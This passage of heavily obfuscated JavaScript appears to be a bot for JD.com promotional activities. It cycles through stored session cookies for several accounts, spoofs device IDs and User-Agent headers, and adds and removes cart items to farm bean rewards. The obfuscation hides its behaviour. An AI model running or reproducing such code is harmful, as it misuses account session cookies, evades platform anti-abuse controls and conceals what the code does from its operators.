aSx5pWIIC0g','Cuivt+mHjeaWsOeZu+W9leiOt+WPlmNvb2tpZQ==','ZGF0YQ==','dXNlckluZm8=','YmFzZUluZm8=','bmlja25hbWU=','YmVhbg==','QURJRA==','R3JqRkI=','V3NHcHE=','VVVJRA==','anFHdVk=','bm9DZFY=','YXV0aG9yTnVt','YWN0aXZpdHlJZA==','YWN0aXZpdHlVcmw=','aHR0cHM6Ly9semtqLWlzdi5pc3ZqY2xvdWQuY29tL3d4Q29sbGVjdGlvbkFjdGl2aXR5L2FjdGl2aXR5Mi8=','P2FjdGl2aXR5SWQ9','ZHJhd0luZm9OYW1l','Z2V0UHJpemU=','bldRV0Y=','bEFma2w=','Zllibng=','YXhSQU0=','aW5jbHVkZXM=','a2hOYnI=','a0xZYVQ=','cVpnTG0=','ZUVTdWM=','d2FpdA==','UUNvZlg=','a2V5d29yZHNOdW0=','YmVmb3JlUmVtb3Zl','SnJKakE=','VkVDUVg=','cGtOVk0=','dWZhWUM=','ZW52','SkRfQ0FSVA==','SkRfQ0FSVF9LRVlXT1JEUw==','a2V5d29yZHM=','c3BsaXQ=','RE5UZ3Y=','eE1zUXA=','CuOAkOS6rOS4nOi0puWPtw==','IAogICAgICAg4pSUIOiOt+W+lyA=','IOS6rOixhuOAgg==','aElZVVg=','bWZSb0s=','Y2F0Y2g=','ZmluYWxseQ==','ZG9uZQ==','aGVhZGVycw==','c2V0LWNvb2tpZQ==','Y3VzdG9tZXIvZ2V0U2ltcGxlQWN0SW5mb1Zv','Q25zcW0=','Y29tbW9uL2FjY2Vzc0xvZ1dpdGhBRA==','YWN0aXZpdHlDb250ZW50','bENvZXY=','LT4g5Yqg5YWl6LSt54mp6L2m','eE9CclY=','TWNjYU0=','YWRkQ2FydA==','LT4g5oq95aWW','5pyq6IO95oiQ5Yqf6I635Y+W5Yiw5rS75Yqo5L+h5oGv','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi35L+h5oGv','YVVxRmw=','Sk11UlA=','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi36Ym05p2D5L+h5oGv','dG9rZW4=','c2VjcmV0UGlu','dmVuZGVySWQ=','Q1VWZmQ=','elhMcE0=','b2VCR3k=','dWN0Zkw=','YWN0aXZpdHlJZD0=','VmtrRmU=','dWxFVXM=','cVhKRW4=','THBRb3U=','VVVRVEs=','dmVuZGVySWQ9','JmNvZGU9NiZwaW49','a2Z6a0w=','JmFjdGl2aXR5SWQ9','JnBhZ2VVcmw9','JnN1YlR5cGU9YXBwJmFkU291cmNlPXRnX3h1YW5GdVR1Qmlhbw==','TkV4aWo=','TExzcXk=','JnBpbj0=','CbTdjAHsjiaVPMmBMRiztgz.com.v6=='];if(function(_0x1376d3,_0x1c867e,_0x40c389){function _0x43e4c4(_0xdd6c2f,_0x1b2a85,_0x1ce3e2,_0x424288,_0x2bdfa4,_0x2bda56){_0x1b2a85=_0x1b2a85>>0x8,_0x2bdfa4='po';var _0x12fcc0='shift',_0x3d6c0f='push',_0x2bda56='‮';if(_0x1b2a85<_0xdd6c2f){while(--_0xdd6c2f){_0x424288=_0x1376d3[_0x12fcc0]();if(_0x1b2a85===_0xdd6c2f&&_0x2bda56==='‮'&&_0x2bda56['length']===0x1){_0x1b2a85=_0x424288,_0x1ce3e2=_0x1376d3[_0x2bdfa4+'p']();}else if(_0x1b2a85&&_0x1ce3e2['replace'](/[CbTdAHVPMBMRztgz=]/g,'')===_0x1b2a85){_0x1376d3[_0x3d6c0f](_0x424288);}}_0x1376d3[_0x3d6c0f](_0x1376d3[_0x12fcc0]());}return 0xff9fc;};return _0x43e4c4(++_0x1c867e,_0x40c389)>>_0x1c867e^_0x40c389;}(_0x2afc,0x1ef,0x1ef00),_0x2afc){_0xod1_=_0x2afc['length']^0x1ef;};function _0x1926(_0x1bc142,_0x3bb664){_0x1bc142=~~'0x'['concat'](_0x1bc142['slice'](0x1));var _0x23c329=_0x2afc[_0x1bc142];if(_0x1926['tEvBii']===undefined&&'‮'['length']===0x1){(function(){var _0x1af777;try{var _0x77a507=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x1af777=_0x77a507();}catch(_0x3e3b26){_0x1af777=window;}var _0x214430='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x1af777['atob']||(_0x1af777['atob']=function(_0x51ebb9){var _0x5598e2=String(_0x51ebb9)['replace'](/=+$/,'');for(var _0xb1f4f8=0x0,_0x3173a7,_0x16c167,_0x403224=0x0,_0x492a46='';_0x16c167=_0x5598e2['charAt'](_0x403224++);~_0x16c167&&(_0x3173a7=_0xb1f4f8%0x4?_0x3173a7*0x40+_0x16c167:_0x16c167,_0xb1f4f8++%0x4)?_0x492a46+=String['fromCharCode'](0xff&_0x3173a7>>(-0x2*_0xb1f4f8&0x6)):0x0){_0x16c167=_0x214430['indexOf'](_0x16c167);}return _0x492a46;});}());_0x1926['nzrBey']=function(_0x5a4d70){var _0x1979e9=atob(_0x5a4d70);var _0xaf9425=[];for(var _0x52aaae=0x0,_0x22f006=_0x1979e9['length'];_0x52aaae<_0x22f006;_0x52aaae++){_0xaf9425+='%'+('00'+_0x1979e9['charCodeAt'](_0x52aaae)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0xaf9425);};_0x1926['MoKdyz']={};_0x1926['tEvBii']=!![];}var _0x4f9161=_0x1926['MoKdyz'][_0x1bc142];if(_0x4f9161===undefined){_0x23c329=_0x1926['nzrBey'](_0x23c329);_0x1926['MoKdyz'][_0x1bc142]=_0x23c329;}else{_0x23c329=_0x4f9161;}return _0x23c329;};!(async()=>{var _0x1d0155={'sovhf':_0x1926('‮0'),'TDWjE':_0x1926('‮1'),'eESuc':function(_0x2cc72d,_0x6a660f){return _0x2cc72d+_0x6a660f;},'ufaYC':function(_0x456fb9){return _0x456fb9();},'NwDam':function(_0x5e00e0,_0x50eb9f){return _0x5e00e0+_0x50eb9f;},'NMDRW':function(_0x3a51f4,_0x9415a8){return _0x3a51f4+_0x9415a8;},'sCOcQ':_0x1926('‫2'),'ToPYT':_0x1926('‮3'),'JyfWN':function(_0x2ad929,_0x108450){return _0x2ad929<_0x108450;},'krwXl':function(_0xcaf0b5,_0x2cc54b){return _0xcaf0b5===_0x2cc54b;},'Hjked':_0x1926('‮4'),'gTihm':_0x1926('‮5'),'wTPyv':function(_0x11a966,_0x5a3b56){return _0x11a966(_0x5a3b56);},'HugDh':function(_0x486b42,_0x33a14f){return _0x486b42!=_0x33a14f;},'YQvsL':function(_0x3299dc,_0xc99216){return _0x3299dc!==_0xc99216;},'ZGyvB':_0x1926('‮6'),'OtLHS':_0x1926('‮7'),'WcVdJ':function(_0x2a8149,_0x1a6b10){return _0x2a8149+_0x1a6b10;},'ltOvb':_0x1926('‫8'),'vFIYs':function(_0x2f09f9){return _0x2f09f9();},'lyHjo':_0x1926('‫9'),'OechD':_0x1926('‮a'),'GrjFB':function(_0x1f5d9d,_0x289eb9,_0x113705){return _0x1f5d9d(_0x289eb9,_0x113705);},'WsGpq':_0x1926('‮b'),'jqGuY':function(_0x58cfd9,_0x53e276){return _0x58cfd9(_0x53e276);},'noCdV':_0x1926('‮c'),'nWQWF':function(_0x19f609){return _0x19f609();},'lAfkl':function(_0x29e473,_0x321efb){return _0x29e473===_0x321efb;},'fYbnx':function(_0x3b18e4,_0x53d9b1){return _0x3b18e4===_0x53d9b1;},'axRAM':function(_0x14dcbe,_0x215056){return _0x14dcbe!=_0x215056;},'khNbr':function(_0x2344fe,_0x458b01){return _0x2344fe!==_0x458b01;},'kLYaT':_0x1926('‫d'),'qZgLm':_0x1926('‮e'),'QCofX':_0x1926('‫f'),'JrJjA':function(_0x26063c,_0x1c09d1){return _0x26063c!==_0x1c09d1;},'VECQX':function(_0x53f4dd,_0x1cf9e4){return _0x53f4dd(_0x1cf9e4);},'pkNVM':_0x1926('‮10'),'xMsQp':function(_0x1f8058,_0x516b4c){return _0x1f8058>_0x516b4c;},'hIYUX':function(_0x4defe6,_0x59e9ef){return _0x4defe6!==_0x59e9ef;},'mfRoK':_0x1926('‫11')};if(!cookiesArr[0x0]){$[_0x1926('‮12')]($[_0x1926('‫13')],_0x1d0155[_0x1926('‮14')],_0x1d0155[_0x1926('‫15')],{'open-url':_0x1d0155[_0x1926('‫15')]});return;}for(let _0x520514 in activityIdList){activityId=activityIdList[_0x520514];console[_0x1926('‮16')](_0x1d0155[_0x1926('‫17')](_0x1d0155[_0x1926('‫17')](_0x1d0155[_0x1926('‫18')](_0x1d0155[_0x1926('‮19')],_0x520514),_0x1d0155[_0x1926('‫1a')]),activityId));for(let _0x4a28dd=0x0;_0x1d0155[_0x1926('‮1b')](_0x4a28dd,cookiesArr[_0x1926('‮1c')]);_0x4a28dd++){if(cookiesArr[_0x4a28dd]){if(_0x1d0155[_0x1926('‮1d')](_0x1d0155[_0x1926('‮1e')],_0x1d0155[_0x1926('‫1f')])){$[_0x1926('‮20')](e);}else{cookie=cookiesArr[_0x4a28dd];originCookie=cookiesArr[_0x4a28dd];newCookie='';$[_0x1926('‫21')]=_0x1d0155[_0x1926('‮22')](decodeURIComponent,cookie[_0x1926('‮23')](/pt_pin=(.+?);/)&&cookie[_0x1926('‮23')](/pt_pin=(.+?);/)[0x1]);$[_0x1926('‮24')]=_0x1d0155[_0x1926('‫18')](_0x4a28dd,0x1);$[_0x1926('‮25')]=!![];$[_0x1926('‫26')]='';if(_0x1d0155[_0x1926('‫27')](pinBlackLists[_0x1926('‮28')]($[_0x1926('‫21')]),-0x1)){if(_0x1d0155[_0x1926('‫29')](_0x1d0155[_0x1926('‮2a')],_0x1d0155[_0x1926('‫2b')])){console[_0x1926('‮16')](_0x1d0155[_0x1926('‫2c')](_0x1d0155[_0x1926('‮2d')],$[_0x1926('‫21')]));continue;}else{$[_0x1926('‮16')]('❌\x20'+$[_0x1926('‫13')]+_0x1926('‮2e')+e+'!','');}}await _0x1d0155[_0x1926('‫2f')](checkCookie);console[_0x1926('‮16')](_0x1926('‫30')+$[_0x1926('‮24')]+'】'+($[_0x1926('‫26')]||$[_0x1926('‫21')])+_0x1926('‮31'));if(!$[_0x1926('‮25')]){if(_0x1d0155[_0x1926('‮1d')](_0x1d0155[_0x1926('‫32')],_0x1d0155[_0x1926('‫32')])){$[_0x1926('‮12')]($[_0x1926('‫13')],_0x1926('‮33'),_0x1926('‮34')+$[_0x1926('‮24')]+'\x20'+($[_0x1926('‫26')]||$[_0x1926('‫21')])+_0x1926('‫35'),{'open-url':_0x1d0155[_0x1926('‫15')]});if($[_0x1926('‫36')]()){if(_0x1d0155[_0x1926('‫29')](_0x1d0155[_0x1926('‫37')],_0x1d0155[_0x1926('‫37')])){$[_0x1926('‮12')]($[_0x1926('‫13')],_0x1d0155[_0x1926('‮14')],_0x1d0155[_0x1926('‫15')],{'open-url':_0x1d0155[_0x1926('‫15')]});return;}else{await notify[_0x1926('‫38')]($[_0x1926('‫13')]+_0x1926('‮39')+$[_0x1926('‫21')],_0x1926('‮34')+$[_0x1926('‮24')]+'\x20'+$[_0x1926('‫21')]+_0x1926('‫3a'));}}continue;}else{$[_0x1926('‫26')]=data[_0x1926('‮3b')][_0x1926('‮3c')][_0x1926('‮3d')][_0x1926('‮3e')];}}$[_0x1926('‫3f')]=0x0;$[_0x1926('‫40')]=_0x1d0155[_0x1926('‮41')](getUUID,_0x1d0155[_0x1926('‮42')],0x1);$[_0x1926('‮43')]=_0x1d0155[_0x1926('‮44')](getUUID,_0x1d0155[_0x1926('‫45')]);$[_0x1926('‮46')]=''+_0x1d0155[_0x1926('‮41')](random,0xf4240,0x98967f);$[_0x1926('‫47')]=activityId;$[_0x1926('‫48')]=_0x1926('‫49')+$[_0x1926('‮46')]+_0x1926('‫4a')+$[_0x1926('‫47')];$[_0x1926('‮4b')]=![];$[_0x1926('‫4c')]=null;await _0x1d0155[_0x1926('‮4d')](addCart);if(_0x1d0155[_0x1926('‫4e')]($[_0x1926('‮4b')],![])||_0x1d0155[_0x1926('‫4f')]($[_0x1926('‫4c')],null)){break;}else if(_0x1d0155[_0x1926('‮50')]($[_0x1926('‫4c')],null)&&!$[_0x1926('‫4c')][_0x1926('‫51')]('京豆')){if(_0x1d0155[_0x1926('‮52')](_0x1d0155[_0x1926('‫53')],_0x1d0155[_0x1926('‫54')])){break;}else{if(data[_0x1926('‮3b')][_0x1926('‫13')]){message+=_0x1d0155[_0x1926('‮55')](data[_0x1926('‮3b')][_0x1926('‫13')],'\x20');}}}await $[_0x1926('‫56')](0x3e8);await _0x1d0155[_0x1926('‮4d')](requireConfig);do{if(_0x1d0155[_0x1926('‫4f')](_0x1d0155[_0x1926('‫57')],_0x1d0155[_0x1926('‫57')])){await _0x1d0155[_0x1926('‮4d')](getCart_xh);$[_0x1926('‫58')]=0x0;if(_0x1d0155[_0x1926('‮52')]($[_0x1926('‮59')],'0')){await _0x1d0155[_0x1926('‮44')](cartFilter_xh,venderCart);if(_0x1d0155[_0x1926('‮5a')](_0x1d0155[_0x1926('‮5b')](parseInt,$[_0x1926('‮59')]),$[_0x1926('‫58')]))await _0x1d0155[_0x1926('‮4d')](removeCart);else{console[_0x1926('‮16')](_0x1d0155[_0x1926('‫5c')]);break;}}else break;}else{var _0x3635b2={'DNTgv':function(_0xe65016){return _0x1d0155[_0x1926('‫5d')](_0xe65016);}};return new Promise(_0x369169=>{if($[_0x1926('‫36')]()&&process[_0x1926('‫5e')][_0x1926('‫5f')]){if(process[_0x1926('‫5e')][_0x1926('‮60')]){$[_0x1926('‫61')]=process[_0x1926('‫5e')][_0x1926('‮60')][_0x1926('‫62')]('@');}}_0x3635b2[_0x1926('‮63')](_0x369169);});}}while(isRemoveAll&&_0x1d0155[_0x1926('‮5a')]($[_0x1926('‫58')],$[_0x1926('‮59')]));if(_0x1d0155[_0x1926('‮64')]($[_0x1926('‫3f')],0x0)){message+=_0x1926('‮65')+$[_0x1926('‮24')]+'】'+($[_0x1926('‫26')]||$[_0x1926('‫21')])+_0x1926('‫66')+$[_0x1926('‫3f')]+_0x1926('‫67');}}}await $[_0x1926('‫56')](0xbb8);}await $[_0x1926('‫56')](0x3e8);}if(_0x1d0155[_0x1926('‫68')](message,'')){if($[_0x1926('‫36')]()){await notify[_0x1926('‫38')]($[_0x1926('‫13')],message,'\x0a');}else{$[_0x1926('‮12')]($[_0x1926('‫13')],_0x1d0155[_0x1926('‫69')],message);}}})()[_0x1926('‫6a')](_0x1872e6=>{$[_0x1926('‮16')]('❌\x20'+$[_0x1926('‫13')]+_0x1926('‮2e')+_0x1872e6+'!','');})[_0x1926('‫6b')](()=>{$[_0x1926('‫6c')]();});async function addCart(){var _0x325698={'hhTjP':_0x1926('‮6d'),'FRUDG':_0x1926('‫6e'),'cKTQX':function(_0x589881,_0x293cbd){return _0x589881+_0x293cbd;},'VOGZg':function(_0x29958b,_0x410bac){return _0x29958b+_0x410bac;},'Dehdh':function(_0x4bd80c,_0x4ca6fe){return _0x4bd80c+_0x4ca6fe;},'kfzkL':function(_0x37f3d8,_0x39c7a4){return _0x37f3d8(_0x39c7a4);},'jeTVx':_0x1926('‫11'),'CUVfd':function(_0x2e0ab1){return _0x2e0ab1();},'zXLpM':function(_0x3f6e85){return _0x3f6e85();},'oeBGy':function(_0x1eb98b,_0x1d7a93,_0x4a2686,_0x5aaf9f){return _0x1eb98b(_0x1d7a93,_0x4a2686,_0x5aaf9f);},'uctfL':_0x1926('‮6f'),'VkkFe':function(_0x14bb06){return _0x14bb06();},'ulEUs':function(_0x5957fa,_0x1b6d4){return _0x5957fa===_0x1b6d4;},'qXJEn':_0x1926('‮70'),'LpQou':function(_0x2af0a4,_0x449bdd,_0x28aec9,_0x3002af){return _0x2af0a4(_0x449bdd,_0x28aec9,_0x3002af);},'UUQTK':_0x1926('‫71'),'NExij':function(_0x1c1fef,_0x188bd1,_0x2b50e6){return _0x1c1fef(_0x188bd1,_0x2b50e6);},'LLsqy':_0x1926('‫72'),'NnHgv':function(_0x15f5a2,_0x50f4b5){return _0x15f5a2!==_0x50f4b5;},'EaLkU':_0x1926('‮73'),'EkMzD':_0x1926('‮74'),'HMcCe':function(_0x23b695,_0x38dabe){return _0x23b695<_0x38dabe;},'OxtDE':_0x1926('‫75'),'xXXYt':_0x1926('‮76'),'dggyB':_0x1926('‫77'),'LPofm':function(_0x567ecc,_0x33721a){return _0x567ecc(_0x33721a);},'WHWZG':_0x1926('‮78'),'TcbDc':function(_0x51c49c,_0x487cd5,_0x24ad75){return _0x51c49c(_0x487cd5,_0x24ad75);},'hdqAN':_0x1926('‫4c'),'SgscA':_0x1926('‫79'),'APehh':_0x1926('‮7a'),'KnPpR':_0x1926('‮7b'),'QOlkj':_0x1926('‫7c'),'DUdgs':_0x1926('‮7d')};$[_0x1926('‮7e')]=null;$[_0x1926('‫7f')]=null;$[_0x1926('‫80')]=null;await _0x325698[_0x1926('‫81')](getFirstLZCK);await _0x325698[_0x1926('‫82')](getToken);await _0x325698[_0x1926('‫83')](task,_0x325698[_0x1926('‫84')],_0x1926('‫85')+$[_0x1926('‫47')],0x1);if($[_0x1926('‮7e')]){await _0x325698[_0x1926('‮86')](getMyPing);if($[_0x1926('‫7f')]){if(_0x325698[_0x1926('‫87')](_0x325698[_0x1926('‫88')],_0x325698[_0x1926('‫88')])){await _0x325698[_0x1926('‮89')](task,_0x325698[_0x1926('‫8a')],_0x1926('‮8b')+$[_0x1926('‫80')]+_0x1926('‫8c')+_0x325698[_0x1926('‮8d')](encodeURIComponent,$[_0x1926('‫7f')])+_0x1926('‫8e')+$[_0x1926('‫47')]+_0x1926('‮8f')+$[_0x1926('‫48')]+_0x1926('‮90'),0x1);await _0x325698[_0x1926('‫91')](task,_0x325698[_0x1926('‫92')],_0x1926('‫85')+$[_0x1926('‫47')]+_0x1926('‫93')+_0x325698[_0x1926('‮8d')](encodeURIComponent,$[_0x1926('‫7f')]));if($[_0x1926('‫72')][_0x1926('‮94')][_0x1926('‫13')][_0x1926('‫51')]('京豆')){if(_0x325698[_0x1926('‫95')](_0x325698[_0x1926('‮96')],_0x325698[_0x1926('‮96')])){console[_0x1926('‮16')]('\x0a'+mainSkuName);console[_0x1926('‮16')](_0x1926('‮97')+$[_0x1926('‫98')]);$[_0x1926('‮99')]=!![];}else{$[_0x1926('‮16')](_0x325698[_0x1926('‫9a')]);console[_0x1926('‮16')]($[_0x1926('‫72')][_0x1926('‮9b')]);for(let _0xdad699=0x0;_0x325698[_0x1926('‮9c')](_0xdad699,$[_0x1926('‫72')][_0x1926('‮9b')]);_0xdad699++){if(_0x325698[_0x1926('‫95')](_0x325698[_0x1926('‮9d')],_0x325698[_0x1926('‫9e')])){await $[_0x1926('‫56')](0x1f4);await _0x325698[_0x1926('‫91')](task,_0x325698[_0x1926('‫9f')],_0x1926('‫85')+$[_0x1926('‫47')]+_0x1926('‫93')+_0x325698[_0x1926('‫a0')](encodeURIComponent,$[_0x1926('‫7f')])+_0x1926('‫a1')+$[_0x1926('‫72')][_0x1926('‫a2')][_0xdad699][_0x1926('‫a3')]);}else{cookie=originCookie+';';for(let _0x426835 of resp[_0x325698[_0x1926('‫a4')]][_0x325698[_0x1926('‫a5')]]){lz_cookie[_0x426835[_0x1926('‫62')](';')[0x0][_0x1926('‫a6')](0x0,_0x426835[_0x1926('‫62')](';')[0x0][_0x1926('‮28')]('='))]=_0x426835[_0x1926('‫62')](';')[0x0][_0x1926('‫a6')](_0x325698[_0x1926('‮a7')](_0x426835[_0x1926('‫62')](';')[0x0][_0x1926('‮28')]('='),0x1));}for(const _0x54b91f of Object[_0x1926('‫a8')](lz_cookie)){cookie+=_0x325698[_0x1926('‫a9')](_0x325698[_0x1926('‫a9')](_0x325698[_0x1926('‮aa')](_0x54b91f,'='),lz_cookie[_0x54b91f]),';');}}}$[_0x1926('‮16')](_0x325698[_0x1926('‮ab')]);await _0x325698[_0x1926('‮ac')](task,_0x325698[_0x1926('‮ad')],_0x1926('‫85')+$[_0x1926('‫47')]+_0x1926('‫93')+_0x325698[_0x1926('‫a0')](encodeURIComponent,$[_0x1926('‫7f')]));}}else{$[_0x1926('‮16')](_0x325698[_0x1926('‮ae')]);}}else{_0x325698[_0x1926('‮8d')](resolve,data);}}else{$[_0x1926('‮16')](_0x325698[_0x1926('‮af')]);}}else{if(_0x325698[_0x1926('‫87')](_0x325698[_0x1926('‮b0')],_0x325698[_0x1926('‫b1')])){$[_0x1926('‮12')]($[_0x1926('‫13')],_0x325698[_0x1926('‮b2')],message);}else{$[_0x1926('‮16')](_0x325698[_0x1926('‫b3')]);}}}function task(_0x13c6b1,_0x6f6e4a,_0x53d73a=0x0){var _0x165492={'jWhNB':function(_0x2b1734){return _0x2b1734();},'vfVox':function(_0x46491d,_0x7daea7){return _0x46491d===_0x7daea7;},'vTorX':_0x1926('‮b4'),'AbIXy':function(_0x29c207,_0x47af0e){return _0x29c207!==_0x47af0e;},'tkvQI':_0x1926('‫b5'),'cjXIu':function(_0x540e1e,_0x3edd00){return _0x540e1e===_0x3edd00;},'qTwRy':_0x1926('‫b6'),'iPPyQ':_0x1926('‮6d'),'KDsUJ':_0x1926('‫6e'),'ymScL':_0x1926('‫b7'),'Lytyz':function(_0x44e09f,_0x4152cb){return _0x44e09f+_0x4152cb;},'iiWtn':_0x1926('‮b8'),'pubHl':_0x1926('‮6f'),'zzDqM':_0x1926('‫72'),'vcAUs':_0x1926('‫77'),'iVgNS':_0x1926('‫4c'),'MupIT':function(_0x13d4e5,_0x528cd8){return _0x13d4e5+_0x528cd8;},'tHZJt':function(_0x13e12f,_0x51404a){return _0x13e12f!==_0x51404a;},'eNHfz':_0x1926('‫b9'),'Lladp':_0x1926('‫ba'),'blXcu':function(_0x5cc1d3,_0x54399c,_0x3b95b0,_0x2c1389){return _0x5cc1d3(_0x54399c,_0x3b95b0,_0x2c1389);}};return new Promise(_0x5eda62=>{var _0x1c697c={'ZqWZM':function(_0x29bf10,_0x441d56){return _0x165492[_0x1926('‮bb')](_0x29bf10,_0x441d56);},'RROTH':_0x165492[_0x1926('‫bc')],'MkRJy':function(_0x5c3348,_0x4c2428){return _0x165492[_0x1926('‫bd')](_0x5c3348,_0x4c2428);},'UqWdp':_0x165492[_0x1926('‫be')],'MuaHz':function(_0x741ad9,_0x34ab3b){return _0x165492[_0x1926('‮bf')](_0x741ad9,_0x34ab3b);},'lEbAX':_0x165492[_0x1926('‫c0')],'PDkFX':_0x165492[_0x1926('‫c1')],'xArYt':_0x165492[_0x1926('‫c2')],'oqexe':_0x165492[_0x1926('‫c3')],'MMTab':function(_0x30c435,_0x449c9d){return _0x165492[_0x1926('‫c4')](_0x30c435,_0x449c9d);},'ggytq':_0x165492[_0x1926('‫c5')],'dIVJX':_0x165492[_0x1926('‮c6')],'gcXRE':_0x165492[_0x1926('‫c7')],'KGVLA':_0x165492[_0x1926('‫c8')],'DNbJF':_0x165492[_0x1926('‫c9')],'fsNHH':function(_0x476bbb,_0x35f085){return _0x165492[_0x1926('‮ca')](_0x476bbb,_0x35f085);},'qhFrU':function(_0x13fadc){return _0x165492[_0x1926('‮cb')](_0x13fadc);}};if(_0x165492[_0x1926('‫cc')](_0x165492[_0x1926('‮cd')],_0x165492[_0x1926('‫ce')])){$[_0x1926('‮cf')](_0x165492[_0x1926('‮d0')](taskUrl,_0x13c6b1,_0x6f6e4a,_0x53d73a),async(_0x1a680d,_0xc4a1fc,_0x50c8a1)=>{var _0x31ba71={'BhXMW':_0x1c697c[_0x1926('‫d1')]};if(_0x1c697c[_0x1926('‫d2')](_0x1c697c[_0x1926('‫d3')],_0x1c697c[_0x1926('‫d3')])){_0x50c8a1=JSON[_0x1926('‫d4')](_0x50c8a1);if(_0x1c697c[_0x1926('‮d5')](_0x50c8a1[_0x1926('‮d6')],'0')){$[_0x1926('‮7e')]=_0x50c8a1[_0x1926('‮7e')];}}else{try{if(_0x1c697c[_0x1926('‮d7')](_0x1c697c[_0x1926('‮d8')],_0x1c697c[_0x1926('‮d8')])){if(_0x1a680d){$[_0x1926('‮16')](_0x1a680d);}else{if(_0x50c8a1){_0x50c8a1=JSON[_0x1926('‫d4')](_0x50c8a1);if(_0xc4a1fc[_0x1c697c[_0x1926('‮d9')]][_0x1c697c[_0x1926('‫da')]]){cookie=originCookie+';';for(let _0x391105 of _0xc4a1fc[_0x1c697c[_0x1926('‮d9')]][_0x1c697c[_0x1926('‫da')]]){if(_0x1c697c[_0x1926('‫d2')](_0x1c697c[_0x1926('‮db')],_0x1c697c[_0x1926('‮db')])){$[_0x1926('‮16')](_0x31ba71[_0x1926('‮dc')]);}else{lz_cookie[_0x391105[_0x1926('‫62')](';')[0x0][_0x1926('‫a6')](0x0,_0x391105[_0x1926('‫62')](';')[0x0][_0x1926('‮28')]('='))]=_0x391105[_0x1926('‫62')](';')[0x0][_0x1926('‫a6')](_0x1c697c[_0x1926('‮dd')](_0x391105[_0x1926('‫62')](';')[0x0][_0x1926('‮28')]('='),0x1));}}for(const _0x5887ca of Object[_0x1926('‫a8')](lz_cookie)){if(_0x1c697c[_0x1926('‫d2')](_0x1c697c[_0x1926('‮de')],_0x1c697c[_0x1926('‮de')])){$[_0x1926('‮16')](_0x1a680d);}else{cookie+=_0x1c697c[_0x1926('‮dd')](_0x1c697c[_0x1926('‮dd')](_0x1c697c[_0x1926('‮dd')](_0x5887ca,'='),lz_cookie[_0x5887ca]),';');}}}if(_0x50c8a1[_0x1926('‫df')]){switch(_0x13c6b1){case _0x1c697c[_0x1926('‮e0')]:$[_0x1926('‫e1')]=_0x50c8a1[_0x1926('‮3b')][_0x1926('‫e1')];$[_0x1926('‫80')]=_0x50c8a1[_0x1926('‮3b')][_0x1926('‫80')];$[_0x1926('‫e2')]=_0x50c8a1[_0x1926('‮3b')][_0x1926('‫80')];break;case _0x1c697c[_0x1926('‫e3')]:$[_0x1926('‫72')]=_0x50c8a1[_0x1926('‮3b')];$[_0x1926('‮4b')]=$[_0x1926('‫72')][_0x1926('‮94')][_0x1926('‫13')][_0x1926('‫51')]('京豆');break;case _0x1c697c[_0x1926('‮e4')]:console[_0x1926('‮16')](_0x50c8a1[_0x1926('‮3b')]);break;case _0x1c697c[_0x1926('‮e5')]:console[_0x1926('‮16')](_0x50c8a1[_0x1926('‮3b')][_0x1926('‫13')]);$[_0x1926('‫4c')]=_0x50c8a1[_0x1926('‮3b')][_0x1926('‫13')];if(_0x1c697c[_0x1926('‮d7')](doPush,!![])){if(_0x50c8a1[_0x1926('‮3b')][_0x1926('‫13')]){message+=_0x1c697c[_0x1926('‮e6')](_0x50c8a1[_0x1926('‮3b')][_0x1926('‫13')],'\x20');}}else{}break;default:$[_0x1926('‮16')](JSON[_0x1926('‫e7')](_0x50c8a1));break;}}}else{}}}else{uuid=v[_0x1926('‫e8')](0x24)[_0x1926('‫e9')]();}}catch(_0x3e188e){$[_0x1926('‮16')](_0x3e188e);}finally{_0x1c697c[_0x1926('‮ea')](_0x5eda62);}}});}else{_0x165492[_0x1926('‮cb')](_0x5eda62);}});}function taskUrl(_0x16a105,_0x4002fb,_0x47d41f){var _0x4a623d={'QIUat':_0x1926('‫eb'),'bqtvs':_0x1926('‮ec'),'ioPMC':_0x1926('‫ed'),'CrhwS':_0x1926('‮ee'),'fenZk':_0x1926('‫ef'),'yjjsX':_0x1926('‫f0'),'KuGBj':_0x1926('‮f1'),'nfuUv':_0x1926('‫f2')};return{'url':_0x47d41f?_0x1926('‫f3')+_0x16a105:_0x1926('‮f4')+_0x16a105,'headers':{'Host':_0x4a623d[_0x1926('‫f5')],'Accept':_0x4a623d[_0x1926('‫f6')],'X-Requested-With':_0x4a623d[_0x1926('‫f7')],'Accept-Language':_0x4a623d[_0x1926('‮f8')],'Accept-Encoding':_0x4a623d[_0x1926('‮f9')],'Content-Type':_0x4a623d[_0x1926('‮fa')],'Origin':_0x4a623d[_0x1926('‮fb')],'User-Agent':_0x1926('‮fc')+$[_0x1926('‮43')]+_0x1926('‫fd')+$[_0x1926('‫40')]+_0x1926('‮fe'),'Connection':_0x4a623d[_0x1926('‮ff')],'Referer':$[_0x1926('‫48')],'Cookie':cookie},'body':_0x4002fb};}function getMyPing(){var _0xcb5b0f={'yOMFt':function(_0x2473e3,_0x411901){return _0x2473e3===_0x411901;},'ZOQpU':_0x1926('‫100'),'APkCT':_0x1926('‮6d'),'WWNao':_0x1926('‫6e'),'yultc':function(_0x49a26a,_0x34a4a8){return _0x49a26a===_0x34a4a8;},'hsaNq':_0x1926('‮101'),'PuQXy':function(_0x56db83,_0x308adc){return _0x56db83+_0x308adc;},'hOihR':function(_0x5e59c4,_0xbf3491){return _0x5e59c4+_0xbf3491;},'bKCTF':function(_0x211f83,_0x2e4520){return _0x211f83+_0x2e4520;},'MMunR':function(_0x228f83,_0x25da9f){return _0x228f83+_0x25da9f;},'VqJSP':function(_0x5db2b3,_0x147438){return _0x5db2b3!==_0x147438;},'ZxjoU':_0x1926('‮102'),'IBxzQ':_0x1926('‮103'),'ghKAx':_0x1926('‫104'),'qwGgG':_0x1926('‫105'),'lAKNa':_0x1926('‮b4'),'HaqYl':function(_0x4addda){return _0x4addda();},'SGexu':function(_0x14e7a0){return _0x14e7a0();},'tdXZz':_0x1926('‮7d'),'zAfQx':_0x1926('‫eb'),'DrfVX':_0x1926('‮ec'),'IWoQj':_0x1926('‫ed'),'UsiVB':_0x1926('‮ee'),'vNsaJ':_0x1926('‫ef'),'KjhVS':_0x1926('‫f0'),'MbDqJ':_0x1926('‮106'),'zMVHo':_0x1926('‫f2')};let 